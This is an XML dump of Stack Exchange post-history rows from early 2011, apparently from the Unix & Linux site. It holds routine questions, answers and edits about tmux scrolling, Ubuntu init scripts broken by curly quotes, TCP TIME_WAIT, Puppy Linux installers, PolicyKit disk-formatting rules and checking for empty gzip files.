  <row Id="15505" PostHistoryTypeId="2" PostId="6743" RevisionGUID="a5663f28-f6af-4b3a-bb68-baace67e5b4d" CreationDate="2011-02-01T03:33:19.733" UserId="3482" Text="You can try the browser based ones and this in my opinion, stands out: [Prezi][1]&#xD;&#xA;&#xD;&#xA;And ofcourse you have the online MS Office which has Powerpoint in it.&#xD;&#xA;&#xD;&#xA;  [1]: http://prezi.com/" />
  <row Id="15506" PostHistoryTypeId="2" PostId="6744" RevisionGUID="310332b9-833b-49ef-905b-2d9821607437" CreationDate="2011-02-01T04:06:46.023" UserId="4158" Text="One option that rarely gets mentioned is a little program called [Ipe][1], which can be useful especially if you presentations are heavy in graphics. &#xD;&#xA;&#xD;&#xA;Ipe is essentially a vector drawing program that can export pdf and has support for pages and layers, which makes it suitable for designing presentation.  It uses LaTeX for text, so you need to learn at least some basic latex, but all positioning and drawing is done interactively in a GUI way. It is also scriptable in `lua`. &#xD;&#xA;&#xD;&#xA;   [1]:http://ipe7.sourceforge.net/" />
  <row Id="15507" PostHistoryTypeId="2" PostId="6745" RevisionGUID="e9628585-d3f0-477c-988e-4eb0f053663f" CreationDate="2011-02-01T04:14:34.493" UserId="250" Text="Scrollability of text in some terminals:&#xD;&#xA;&#xD;&#xA;           | tty | xterm | urxvt | guake | terminator&#xD;&#xA;    screen |  Y  |   Y   |   Y   |   Y   |     Y&#xD;&#xA;    tmux   |  N  |   N   |   Y   |   N   |     N&#xD;&#xA;&#xD;&#xA;I notice in [this answer][1] that scrolling doesn't work when using tmux. But I can scroll in urxvt. How can I have that behaviour in other terminals?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/549/tmux-vs-gnu-screen/888#888" />
  <row Id="15508" PostHistoryTypeId="1" PostId="6745" RevisionGUID="e9628585-d3f0-477c-988e-4eb0f053663f" CreationDate="2011-02-01T04:14:34.493" UserId="250" Text="Scrollability of text when using tmux?" />
  <row Id="15509" PostHistoryTypeId="3" PostId="6745" RevisionGUID="e9628585-d3f0-477c-988e-4eb0f053663f" CreationDate="2011-02-01T04:14:34.493" UserId="250" Text="éscreenàétmuxàéterminalömultiplexeràéscrollingà" />
  <row Id="15510" PostHistoryTypeId="2" PostId="6746" RevisionGUID="06817ee2-e274-4095-acfa-a297c71c9b39" CreationDate="2011-02-01T04:51:18.887" UserId="3082" Text="Try setting the alternate-screen setting to off." />
  <row Id="15511" PostHistoryTypeId="25" PostId="6745" RevisionGUID="e5001339-9e4c-47bc-a77c-303f7106351b" CreationDate="2011-02-01T05:16:11.470" Comment="http://twitter.com/#!/StackUnix/status/32306194068545536" />
  <row Id="15512" PostHistoryTypeId="5" PostId="6035" RevisionGUID="85e6fda9-1fff-47a5-9e10-8d7e0f941890" CreationDate="2011-02-01T06:09:01.763" UserId="3629" Comment="Prettied up the grammar of the first sentence, and removed the P.S. about the &quot;brace-expansion&quot; tag." Text="I understand what [brace expansion][1] is, but I don't know how best to use it.&#xD;&#xA;&#xD;&#xA;When do you use it?  &#xD;&#xA;Please teach me some convenient and remarkable examples if you have your own tip.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/bashref.html#Brace-Expansion" />
  <row Id="15513" PostHistoryTypeId="2" PostId="6747" RevisionGUID="1897ea25-ba6e-448a-b818-9271905ad94c" CreationDate="2011-02-01T06:26:10.023" UserId="4375" Text="hi every body&#xD;&#xA;my user in centos don't work correctly,but root login is correctly working.what should i do?&#xD;&#xA;" />
  <row Id="15514" PostHistoryTypeId="1" PostId="6747" RevisionGUID="1897ea25-ba6e-448a-b818-9271905ad94c" CreationDate="2011-02-01T06:26:10.023" UserId="4375" Text="linux centos login" />
  <row Id="15515" PostHistoryTypeId="3" PostId="6747" RevisionGUID="1897ea25-ba6e-448a-b818-9271905ad94c" CreationDate="2011-02-01T06:26:10.023" UserId="4375" Text="ébashà" />
  <row Id="15516" PostHistoryTypeId="5" PostId="6697" RevisionGUID="e18c127b-4790-47d8-9e37-16423f4d1a39" CreationDate="2011-02-01T06:26:21.190" UserId="4352" Comment="added 264 characters in body" Text="Running on Ubuntu Karmic. I need to execute the following script at boot time&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    # /etc/rc.d/scripts&#xD;&#xA;    # Description: Starts Python scripts&#xD;&#xA;    # ————————————————–&#xD;&#xA;    #&#xD;&#xA;    ### BEGIN INIT INFO&#xD;&#xA;    # Provides: Scripts&#xD;&#xA;    # Required-Start: $network&#xD;&#xA;    # Required-Stop:&#xD;&#xA;    # Default-Start: 2 3 4 5&#xD;&#xA;    # Default-Stop: 0 1 6&#xD;&#xA;    # Description: Start Python scripts to provide X,Y and Z&#xD;&#xA;    ### END INIT INFO&#xD;&#xA;&#xD;&#xA;    case “$1″ in&#xD;&#xA;    start)&#xD;&#xA;    echo -n “Starting Mapping service: ”&#xD;&#xA;    /usr/local/bin/liteserv.py /home/myUN/bin/mapnik/my_osm.xml --caching --debug=False&#xD;&#xA;    ;;&#xD;&#xA;    stop)&#xD;&#xA;    echo -n “Stoping Mapping service: ”&#xD;&#xA;    /usr/local/bin/liteserv.py /home/myUN/bin/mapnik/my_osm.xml --caching --debug=False&#xD;&#xA;    ;;&#xD;&#xA;    restart)&#xD;&#xA;    echo -n “Retarting Mapping service: ”&#xD;&#xA;    /usr/local/bin/liteserv.py /home/myUN/bin/mapnik/my_osm.xml --caching --debug=False&#xD;&#xA;    ;;&#xD;&#xA;    *)&#xD;&#xA;    echo “Usage: scripts {start|stop|restart}”&#xD;&#xA;    exit 1&#xD;&#xA;    esac&#xD;&#xA;&#xD;&#xA;Have placed it into /etc/init.d&#xD;&#xA;Registered it with &#xD;&#xA;&#xD;&#xA;    sudo update-rc.d scripts defaults&#xD;&#xA;    &#xD;&#xA;But nothing happens on boot. I have tried looking in the logs but I cant find anything.  Both scripts and liteserv.py are marked as executable. &#xD;&#xA;   &#xD;&#xA;As per Andy Smith's response, When I run:  &#xD;&#xA;    /etc/init.d/scripts start  &#xD;&#xA;I get:  &#xD;&#xA;    /etc/init.d/scripts: 31: restart}”: not found  &#xD;&#xA;    stop: missing job name  &#xD;&#xA;    Try `stop --help' for more information" />
  <row Id="15517" PostHistoryTypeId="5" PostId="6747" RevisionGUID="f461968e-0a7c-497b-9ba2-3d478c413289" CreationDate="2011-02-01T06:32:05.243" UserId="73" Comment="added 28 characters in body; edited tags; edited title" Text="My normal user account isn't working correctly in CentOS, but logging in as root works fine. What should I do to debug/fix the problem?&#xD;&#xA;" />
  <row Id="15518" PostHistoryTypeId="4" PostId="6747" RevisionGUID="f461968e-0a7c-497b-9ba2-3d478c413289" CreationDate="2011-02-01T06:32:05.243" UserId="73" Comment="added 28 characters in body; edited tags; edited title" Text="Unable to login as normal user on CentOS" />
  <row Id="15519" PostHistoryTypeId="6" PostId="6747" RevisionGUID="f461968e-0a7c-497b-9ba2-3d478c413289" CreationDate="2011-02-01T06:32:05.243" UserId="73" Comment="added 28 characters in body; edited tags; edited title" Text="écentosàéloginà" />
  <row Id="15520" PostHistoryTypeId="5" PostId="6697" RevisionGUID="7e56c487-7a54-4f43-98f3-a625c1a3ff42" CreationDate="2011-02-01T06:32:44.127" UserId="4352" Comment="added 19 characters in body" Text="Running on Ubuntu Karmic. I need to execute the following script at boot time&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    # /etc/rc.d/scripts&#xD;&#xA;    # Description: Starts Python scripts&#xD;&#xA;    # ————————————————–&#xD;&#xA;    #&#xD;&#xA;    ### BEGIN INIT INFO&#xD;&#xA;    # Provides: Scripts&#xD;&#xA;    # Required-Start: $network&#xD;&#xA;    # Required-Stop:&#xD;&#xA;    # Default-Start: 2 3 4 5&#xD;&#xA;    # Default-Stop: 0 1 6&#xD;&#xA;    # Description: Start Python scripts to provide X,Y and Z&#xD;&#xA;    ### END INIT INFO&#xD;&#xA;&#xD;&#xA;    case “$1″ in&#xD;&#xA;    start)&#xD;&#xA;    echo -n “Starting Mapping service: ”&#xD;&#xA;    /usr/local/bin/liteserv.py /home/myUN/bin/mapnik/my_osm.xml --caching --debug=False&#xD;&#xA;    ;;&#xD;&#xA;    stop)&#xD;&#xA;    echo -n “Stoping Mapping service: ”&#xD;&#xA;    /usr/local/bin/liteserv.py /home/myUN/bin/mapnik/my_osm.xml --caching --debug=False&#xD;&#xA;    ;;&#xD;&#xA;    restart)&#xD;&#xA;    echo -n “Retarting Mapping service: ”&#xD;&#xA;    /usr/local/bin/liteserv.py /home/myUN/bin/mapnik/my_osm.xml --caching --debug=False&#xD;&#xA;    ;;&#xD;&#xA;    *)&#xD;&#xA;    echo “Usage: scripts {start|stop|restart}”&#xD;&#xA;    exit 1&#xD;&#xA;    esac&#xD;&#xA;&#xD;&#xA;Have placed it into /etc/init.d&#xD;&#xA;Registered it with &#xD;&#xA;&#xD;&#xA;    sudo update-rc.d scripts defaults&#xD;&#xA;    &#xD;&#xA;But nothing happens on boot. I have tried looking in the logs but I cant find anything.  Both scripts and liteserv.py are marked as executable. &#xD;&#xA;   &#xD;&#xA;As per Andy Smith's response, When I run:   &#xD;&#xA;&#xD;&#xA;    /etc/init.d/scripts start  &#xD;&#xA;&#xD;&#xA;I get:  &#xD;&#xA; &#xD;&#xA;    /etc/init.d/scripts: 31: restart}”: not found  &#xD;&#xA;    stop: missing job name  &#xD;&#xA;    Try `stop --help' for more information&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;    " />
  <row Id="15521" PostHistoryTypeId="2" PostId="6748" RevisionGUID="8860fd3c-c8f1-43fb-a096-a8ac503e4fd7" CreationDate="2011-02-01T06:39:51.340" UserId="3629" Text="A connection in the TIME_WAIT state is simply waiting to see if any last straggling data packets make their way through the network from the other end, so that they don't get mixed in with another connection's packets.  It doesn't actually *do* anything with those packets.  So if anything, a TIME_WAIT connection uses fewer resources than an open connection.&#xD;&#xA;&#xD;&#xA;A well-provisioned webserver these days [can handle over 10,000 simultaneous connections][1] (note that that was written in 2003, and Moore's Law keeps on marching).  Since, if anything, a connection in the TIME_WAIT state will use up less memory than an open connection, 300 connections in TIME_WAIT should be nothing.&#xD;&#xA;&#xD;&#xA;For more info on TIME_WAIT, see &lt;http://tangentsoft.net/wskfaq/articles/debugging-tcp.html&gt; and &lt;http://developerweb.net/viewtopic.php?id=2941&gt;.&#xD;&#xA;&#xD;&#xA;Meanwhile, I wonder how your disk I/O usage looks.  Heavy disk I/O can slow down the Linux kernel far more easily than heavy CPU usage, in my experience.  You may want to look into the `iostat` and `dstat` tools, and see what they tell you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kegel.com/c10k.html" />
  <row Id="15522" PostHistoryTypeId="2" PostId="6749" RevisionGUID="772f778c-de6b-45ce-80cb-e8195f9cc0fc" CreationDate="2011-02-01T07:21:15.297" UserId="4309" Text="For this machine I would use Lupq511 windows installer. it will make a &quot;frugal install&quot; using Grub4dos to your windows partition and chain it into your Windows bootloader.&#xD;&#xA;(OS is &lt; 120 MB)&#xD;&#xA;&#xD;&#xA;So basically you can install it with a few clicks from inside Windows.&#xD;&#xA;You can download an exe file from here &#xD;&#xA;http://182.164.208.154/puppy/lupq/Lucid-Puppy-Quickset-edition-511-Installer.exe&#xD;&#xA;&#xD;&#xA;I used this several times to quickly rescue some old windows computers.&#xD;&#xA;&#xD;&#xA;Maybe before you start, use chkdsk /f on your windows drive.&#xD;&#xA;&#xD;&#xA;There is a boot option (pfix=ram) which will make it run totally in Ram, so eventually you can also repartition the disk to give it its own Linux filesystem or install another Distro.&#xD;&#xA;&#xD;&#xA;(Recommend: Fluppy, small distro specialised in Netbooks/Laptops&#xD;&#xA;http://www.murga-linux.com/puppy/viewtopic.php?t=56156)&#xD;&#xA;&#xD;&#xA;Emil&#xD;&#xA;&#xD;&#xA;Original thread&#xD;&#xA;http://www.murga-linux.com/puppy/viewtopic.php?t=60199&amp;sid=185744040a7e71bad9aa357c8bbbf322&#xD;&#xA;&#xD;&#xA;Actually any Puppy Linux can be turned into an Windows exe installer file with this technology.&#xD;&#xA;http://www.murga-linux.com/puppy/viewtopic.php?t=61404&amp;start=45&#xD;&#xA;It should work on Win 9x, WinXPm, Vista, Win7 (32 and 64 bit)&#xD;&#xA;it is still beta, but nonetheless I find this pretty cool!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sage.math.washington.edu/home/emil/stuff/Lucid-Puppy-Quickset-edition-511-Installer.exe&#xD;&#xA;  [2]: http://www.murga-linux.com/puppy/viewtopic.php?t=61404&amp;start=45" />
  <row Id="15523" PostHistoryTypeId="2" PostId="6750" RevisionGUID="7cecb85a-2506-4361-94f2-7c10fe2d4516" CreationDate="2011-02-01T07:25:34.010" UserId="1207" Text="This is bizarre, but unless it is something that Stack Exchange is doing, I think the problem you are having is that you are using &quot;fancy quotes&quot; rather than `&quot;&quot;`.  &#xD;&#xA;&#xD;&#xA;Whatever editor you are using may have replaced the standard quote character(Unicode U+0022) with stylized open and close quotes (U+201C and U+201D).  `sh` doesn't like this very much.  When I replace these stylized quotes with &quot;normal quotes&quot; your code works fine (with the small exception that I don't have the .py file it calls)." />
  <row Id="15524" PostHistoryTypeId="25" PostId="6716" RevisionGUID="ea41a883-29af-42d9-a050-1577231a3af0" CreationDate="2011-02-01T08:16:11.833" Comment="http://twitter.com/#!/StackUnix/status/32351493688401920" />
  <row Id="15525" PostHistoryTypeId="2" PostId="6751" RevisionGUID="63284a70-b226-4faa-8e62-11ee89eefb6d" CreationDate="2011-02-01T08:33:28.100" UserId="2871" Text="I would like to use some the functions given by libc at the boot loader stage itself. Is it possible to get them at that stage of loading? " />
  <row Id="15526" PostHistoryTypeId="1" PostId="6751" RevisionGUID="63284a70-b226-4faa-8e62-11ee89eefb6d" CreationDate="2011-02-01T08:33:28.100" UserId="2871" Text="Is it possible to use libc at the bootloader stage itself?" />
  <row Id="15527" PostHistoryTypeId="3" PostId="6751" RevisionGUID="63284a70-b226-4faa-8e62-11ee89eefb6d" CreationDate="2011-02-01T08:33:28.100" UserId="2871" Text="ébootöloaderàélibcà" />
  <row Id="15528" PostHistoryTypeId="2" PostId="6752" RevisionGUID="f56cf60b-e449-4a96-a23b-0b770acb023d" CreationDate="2011-02-01T09:20:05.997" UserId="1946" Text="Yes.  The easiest way would be to copy the code you need to the boot loader.  &#xD;&#xA;&#xD;&#xA;Which functions are these?  You should understand that you can't use them if they rely on system calls to fulfill their duty." />
  <row Id="15529" PostHistoryTypeId="2" PostId="6753" RevisionGUID="af46bb93-7be0-43a1-8d00-290759bf01a3" CreationDate="2011-02-01T09:40:24.747" UserId="4379" Text="Just use static linking. Dynamic linking will not work at that point." />
  <row Id="15530" PostHistoryTypeId="5" PostId="6749" RevisionGUID="c1a99ebc-e71a-48a1-b99d-1c8f93b25aeb" CreationDate="2011-02-01T09:50:03.110" UserId="3069" Comment="deleted 121 characters in body" Text="For this machine I would use Lupq511 windows installer. it will make a &quot;frugal install&quot; using Grub4dos to your windows partition and chain it into your Windows bootloader.&#xD;&#xA;(OS is &lt; 120 MB)&#xD;&#xA;&#xD;&#xA;So basically you can install it with a few clicks from inside Windows.&#xD;&#xA;You can download an exe file from [here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I used this several times to quickly rescue some old windows computers.&#xD;&#xA;&#xD;&#xA;Maybe before you start, use `chkdsk /f` on your windows drive.&#xD;&#xA;&#xD;&#xA;There is a boot option (`pfix=ram`) which will make it run totally in Ram, so eventually you can also repartition the disk to give it its own Linux filesystem or install another Distro.&#xD;&#xA;&#xD;&#xA;(Recommend: [Fluppy][2], small distro specialised in Netbooks/Laptops)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Original thread [here][3].&#xD;&#xA;&#xD;&#xA;Actually any Puppy Linux can be turned into an Windows exe installer file with [this][4] technology.&#xD;&#xA;It should work on Win 9x, WinXPm, Vista, Win7 (32 and 64 bit)&#xD;&#xA;it is still beta, but nonetheless I find this pretty cool!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://182.164.208.154/puppy/lupq/Lucid-Puppy-Quickset-edition-511-Installer.exe&#xD;&#xA;  [2]: http://www.murga-linux.com/puppy/viewtopic.php?t=56156&#xD;&#xA;  [3]: http://www.murga-linux.com/puppy/viewtopic.php?t=60199&amp;sid=185744040a7e71bad9aa357c8bbbf322&#xD;&#xA;  [4]: http://www.murga-linux.com/puppy/viewtopic.php?t=61404&amp;start=45" />
  <row Id="15531" PostHistoryTypeId="2" PostId="6754" RevisionGUID="3f1d6d13-bdc2-4ac6-bc79-0a8c9d0054be" CreationDate="2011-02-01T09:55:16.273" UserId="4381" Text="I attained the functionality I was looking for by using the 'savedefault' option of GRUB. I used to set it's value to the other operating system at the end of entry of each OS in menu.lst.&#xD;&#xA;&#xD;&#xA;Thanks a lot to everyone who tried to help. :)&#xD;&#xA;" />
  <row Id="15532" PostHistoryTypeId="5" PostId="6697" RevisionGUID="b2fe8873-7512-4899-a2eb-993e3e0084c7" CreationDate="2011-02-01T10:30:36.693" UserId="4352" Comment="added 33 characters in body; added 10 characters in body" Text="Running on Ubuntu Karmic. I need to execute the following (updated) script at boot time&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    # /etc/init.d/scripts&#xD;&#xA;    # Description: Starts Python scripts&#xD;&#xA;    # ————————————————–&#xD;&#xA;    #&#xD;&#xA;    ### BEGIN INIT INFO&#xD;&#xA;    # Provides: Scripts&#xD;&#xA;    # Required-Start: $network $local_fs $syslog&#xD;&#xA;    # Required-Stop: $local_fs $syslog&#xD;&#xA;    # Default-Start: 2 3 4 5&#xD;&#xA;    # Default-Stop: 0 1 6&#xD;&#xA;    # Description: Start Python scripts to provide mapping services&#xD;&#xA;    ### END INIT INFO&#xD;&#xA;&#xD;&#xA;    case $1 in&#xD;&#xA;      start)&#xD;&#xA;    	# echo -n ¨Starting Mapping service: ¨&#xD;&#xA;	/usr/local/bin/liteserv.py /home/hilltop2575/bin/mapnik/my_osm.xml --caching --debug=False&#xD;&#xA;	;;&#xD;&#xA;      stop)&#xD;&#xA;	# echo -n ¨Stoping Mapping service: ¨&#xD;&#xA;	/usr/local/bin/liteserv.py /home/hilltop2575/bin/mapnik/my_osm.xml --caching --debug=False&#xD;&#xA;	;;&#xD;&#xA;      restart)&#xD;&#xA;	# echo -n ¨Retarting Mapping service: ¨&#xD;&#xA;	/usr/local/bin/liteserv.py /home/hilltop2575/bin/mapnik/my_osm.xml --caching --debug=False&#xD;&#xA;	;;&#xD;&#xA;      *)&#xD;&#xA;	# echo ¨Usage: scripts {start|stop|restart}¨&#xD;&#xA;	exit 1&#xD;&#xA;    esac&#xD;&#xA;&#xD;&#xA;Have placed it into /etc/init.d&#xD;&#xA;Registered it with &#xD;&#xA;&#xD;&#xA;    sudo update-rc.d scripts defaults&#xD;&#xA;    &#xD;&#xA;But nothing happens on boot. I have tried looking in the logs but I cant find anything.  Both scripts and liteserv.py are marked as executable. &#xD;&#xA;   &#xD;&#xA;As per Andy Smith's response, When I run:   &#xD;&#xA;&#xD;&#xA;    /etc/init.d/scripts start  &#xD;&#xA;&#xD;&#xA;I now get the program running correctly (after correcting the bad quotes).  &#xD;&#xA;However, it still does not run the program on bootup." />
  <row Id="15533" PostHistoryTypeId="5" PostId="6697" RevisionGUID="5de2b8b8-9930-4bd7-b0aa-a9ae31774d53" CreationDate="2011-02-01T10:47:01.877" UserId="4352" Comment="deleted 21 characters in body" Text="Running on Ubuntu Karmic. I need to execute the following (updated) script at boot time&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    # /etc/init.d/scripts&#xD;&#xA;    # Description: Starts Python scripts&#xD;&#xA;    # ————————————————–&#xD;&#xA;    #&#xD;&#xA;    ### BEGIN INIT INFO&#xD;&#xA;    # Provides: Scripts&#xD;&#xA;    # Required-Start: $network $local_fs $syslog&#xD;&#xA;    # Required-Stop: $local_fs $syslog&#xD;&#xA;    # Default-Start: 2 3 4 5&#xD;&#xA;    # Default-Stop: 0 1 6&#xD;&#xA;    # Description: Start Python scripts to provide mapping services&#xD;&#xA;    ### END INIT INFO&#xD;&#xA;&#xD;&#xA;    case $1 in&#xD;&#xA;      start)&#xD;&#xA;    	# echo -n ¨Starting Mapping service: ¨&#xD;&#xA;	/usr/local/bin/liteserv.py /home/myUN/bin/mapnik/my_osm.xml --caching --debug=False&#xD;&#xA;	;;&#xD;&#xA;      stop)&#xD;&#xA;	# echo -n ¨Stoping Mapping service: ¨&#xD;&#xA;	/usr/local/bin/liteserv.py /home/myUN/bin/mapnik/my_osm.xml --caching --debug=False&#xD;&#xA;	;;&#xD;&#xA;      restart)&#xD;&#xA;	# echo -n ¨Retarting Mapping service: ¨&#xD;&#xA;	/usr/local/bin/liteserv.py /home/myUN/bin/mapnik/my_osm.xml --caching --debug=False&#xD;&#xA;	;;&#xD;&#xA;      *)&#xD;&#xA;	# echo ¨Usage: scripts {start|stop|restart}¨&#xD;&#xA;	exit 1&#xD;&#xA;    esac&#xD;&#xA;&#xD;&#xA;Have placed it into /etc/init.d&#xD;&#xA;Registered it with &#xD;&#xA;&#xD;&#xA;    sudo update-rc.d scripts defaults&#xD;&#xA;    &#xD;&#xA;But nothing happens on boot. I have tried looking in the logs but I cant find anything.  Both scripts and liteserv.py are marked as executable. &#xD;&#xA;   &#xD;&#xA;As per Andy Smith's response, When I run:   &#xD;&#xA;&#xD;&#xA;    /etc/init.d/scripts start  &#xD;&#xA;&#xD;&#xA;I now get the program running correctly (after correcting the bad quotes).  &#xD;&#xA;However, it still does not run the program on bootup." />
  <row Id="15534" PostHistoryTypeId="25" PostId="6751" RevisionGUID="0e675dae-aa01-47dd-a6bf-ff8dd48c514b" CreationDate="2011-02-01T11:16:11.977" Comment="http://twitter.com/#!/StackUnix/status/32396792821719040" />
  <row Id="15535" PostHistoryTypeId="2" PostId="6755" RevisionGUID="1729251c-3cf0-4379-8618-36a55cda2f8a" CreationDate="2011-02-01T11:41:06.550" UserId="4335" Text="The question seems really unique. **baltusaj**, it would be great **if you can share** your purpose for doing this." />
  <row Id="15536" PostHistoryTypeId="2" PostId="6756" RevisionGUID="7f99d074-8261-4b3a-b7c0-e7cd0fa010b1" CreationDate="2011-02-01T12:05:11.810" UserId="2671" Text="It doesn't seem to be possible yet.&#xD;&#xA;&#xD;&#xA;If it will appear it should appear in the window/application configuration (from the advanced section in the window context menu).&#xD;&#xA;&#xD;&#xA;Activities are still a very fresh feature." />
  <row Id="15537" PostHistoryTypeId="2" PostId="6757" RevisionGUID="a66b8b76-0553-4994-855d-2c8d381a6c5f" CreationDate="2011-02-01T12:11:35.593" UserId="2671" Text="Here is a tutorial for PAM and truecrypt combination: http://blog.littleimpact.de/index.php/2008/08/19/automatic-encryption-of-home-directories-using-truecrypt-60a/" />
  <row Id="15538" PostHistoryTypeId="5" PostId="6708" RevisionGUID="1ac76b13-7bb7-4335-9cc4-95de549895cd" CreationDate="2011-02-01T13:09:44.423" UserId="3069" Comment="added 116 characters in body" Text="As [nc3b][1] already pointed out, this gets controlled by PolicyKit.  The policy for disks is located at: `/usr/share/polkit-1/actions/org.freedesktop.udisks.policy` and can be adjusted.  &#xD;&#xA;Open it with root rights and search for the line: `&lt;action id=&quot;org.freedesktop.udisks.change&quot;&gt;`, either comment out the whole block: `&lt;!-- [udisks.change-block] --&gt;`, or set `&lt;allow_active&gt;` to 'no', save and exit.&#xD;&#xA;&#xD;&#xA;Check if it's disabled:&#xD;&#xA;&#xD;&#xA;    $ pkaction --verbose --action-id org.freedesktop.udisks.change&#xD;&#xA;    No action with action id org.freedesktop.udisks.change&#xD;&#xA;&#xD;&#xA;Or if you've set `no`:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    implicit active:   no&#xD;&#xA;&#xD;&#xA;Good, next time you try to format a device as a non-root user, either over the context menu or over 'Disk Utility', an error message will appear an disallow it.  This step will still allow the non-root user to read/write the device.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;If you still want to allow formating of devices, but with a higher security level, you can force PolicyKit to ask for a password every time.  &#xD;&#xA;Open the same file and go to the same section, substitute the 'yes' with 'auth_admin' in `allow_active`:&#xD;&#xA;&#xD;&#xA;    &lt;allow_active&gt;auth_admin&lt;/allow_active&gt;&#xD;&#xA;&#xD;&#xA;Check:&#xD;&#xA;&#xD;&#xA;    $ pkaction --verbose --action-id org.freedesktop.udisks.change&#xD;&#xA;    ...&#xD;&#xA;    implicit active:   auth_admin&#xD;&#xA;&#xD;&#xA;Excellent!&#xD;&#xA;&#xD;&#xA;**Note:** I've only tested this on Ubuntu, but Fedora also uses PolicyKit, so try it with a dummy drive first.&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/6689/prevent-non-root-user-from-formatting-a-partition/6696#6696" />
  <row Id="15539" PostHistoryTypeId="6" PostId="6689" RevisionGUID="543024d4-05dd-476a-a223-e8308f5cfa8e" CreationDate="2011-02-01T13:10:14.763" UserId="3069" Comment="edited tags" Text="élinuxàéfedoraàépartitionàépolicykità" />
  <row Id="15540" PostHistoryTypeId="2" PostId="6758" RevisionGUID="24d63237-d8ba-442f-91de-fc87147410db" CreationDate="2011-02-01T13:34:45.473" UserId="872" Text="Is there a quick way to check if a gzipped file is empty, or do I have to unzip it first?&#xD;&#xA;&#xD;&#xA;example:&#xD;&#xA;&#xD;&#xA;    $ touch foo&#xD;&#xA;    $ if [ -s foo ]; then echo not empty; fi&#xD;&#xA;    $ gzip foo&#xD;&#xA;    $ if [ -s foo.gz ]; then echo not empty; fi&#xD;&#xA;    not empty&#xD;&#xA;    $ wc -l foo.gz&#xD;&#xA;          1 foo.gz" />
  <row Id="15541" PostHistoryTypeId="1" PostId="6758" RevisionGUID="24d63237-d8ba-442f-91de-fc87147410db" CreationDate="2011-02-01T13:34:45.473" UserId="872" Text="How can I check if a gzipped file is empty?" />
  <row Id="15542" PostHistoryTypeId="3" PostId="6758" RevisionGUID="24d63237-d8ba-442f-91de-fc87147410db" CreationDate="2011-02-01T13:34:45.473" UserId="872" Text="écommandölineàébashàégzipà" />
  <row Id="15543" PostHistoryTypeId="2" PostId="6759" RevisionGUID="89efaec0-0042-49e4-bbc0-36304182e3ee" CreationDate="2011-02-01T13:48:23.890" UserId="3069" Text="    test -z $(gzip -cd file.gz) &amp;&amp; echo &quot;empty&quot;&#xD;&#xA;&#xD;&#xA;Or with `if`:&#xD;&#xA;&#xD;&#xA;    if [ -z $(gzip -cd foo.gz) ]; then&#xD;&#xA;      echo &quot;empty&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;`zcat` is sometimes linked to `gunzip -c` or `gzip -cd`." />
  <row Id="15544" PostHistoryTypeId="5" PostId="6759" RevisionGUID="dc1c7c5a-e24e-4ddb-a37a-239feaad844f" CreationDate="2011-02-01T13:53:27.893" UserId="3069" Comment="deleted 1 characters in body" Text="    test -z $(gzip -cd foo.gz) &amp;&amp; echo &quot;empty&quot;&#xD;&#xA;&#xD;&#xA;Or with `if`:&#xD;&#xA;&#xD;&#xA;    if [ -z $(gzip -cd foo.gz) ]; then&#xD;&#xA;      echo &quot;empty&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;`zcat` is sometimes linked to `gunzip -c` or `gzip -cd`." />
  <row Id="15545" PostHistoryTypeId="5" PostId="6759" RevisionGUID="437b8f22-fc0f-45eb-a74e-55d645c53975" CreationDate="2011-02-01T14:05:38.900" UserId="3069" Comment="added 45 characters in body" Text="    test -z $(gzip -cd foo.gz) &amp;&amp; echo &quot;empty&quot;&#xD;&#xA;&#xD;&#xA;Or with `if`:&#xD;&#xA;&#xD;&#xA;    if [ -z $(gzip -cd foo.gz) ]; then&#xD;&#xA;      echo &quot;empty&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;`zcat` is sometimes linked to `gunzip -c` or `gzip -cd`, if you want to use it as the shorter &quot;form&quot;." />
  <row Id="15546" PostHistoryTypeId="25" PostId="6758" RevisionGUID="78a15322-6581-4dc5-baf5-482e0e242772" CreationDate="2011-02-01T14:16:12.523" Comment="http://twitter.com/#!/StackUnix/status/32442093607587841" />
  <row Id="15547" PostHistoryTypeId="2" PostId="6760" RevisionGUID="a9ac3e4c-b28e-4210-938b-f8d9e78318c0" CreationDate="2011-02-01T14:19:07.740" UserId="1836" Text="I am running ubuntu 10.10 with catalyst ati drivers which I installed from the amd website. Recently I took some updates which included a new kernel. I cannot boot into ubuntu. The screen shows ubuntu 10.10 thing but after that the it goes blank. I am using suse grub loader.  " />
  <row Id="15548" PostHistoryTypeId="1" PostId="6760" RevisionGUID="a9ac3e4c-b28e-4210-938b-f8d9e78318c0" CreationDate="2011-02-01T14:19:07.740" UserId="1836" Text="blank screen after kernel upgrade" />
  <row Id="15549" PostHistoryTypeId="3" PostId="6760" RevisionGUID="a9ac3e4c-b28e-4210-938b-f8d9e78318c0" CreationDate="2011-02-01T14:19:07.740" UserId="1836" Text="éubuntuàégrubàéopensuseàédualöbootà" />
  <row Id="15550" PostHistoryTypeId="2" PostId="6761" RevisionGUID="7a7a66c2-d2ec-4e5a-85f7-000d9eb4f7e1" CreationDate="2011-02-01T14:21:39.030" UserId="4057" Text="Something like this should also work for you with recent versions of BASH and ZSH:&#xD;&#xA;dd if=/path/to/file of=/path/to/another_file bs=1M count=1 &amp;&gt; /dev/null&#xD;&#xA;&#xD;&#xA;P.S. This is just an example I ran..." />
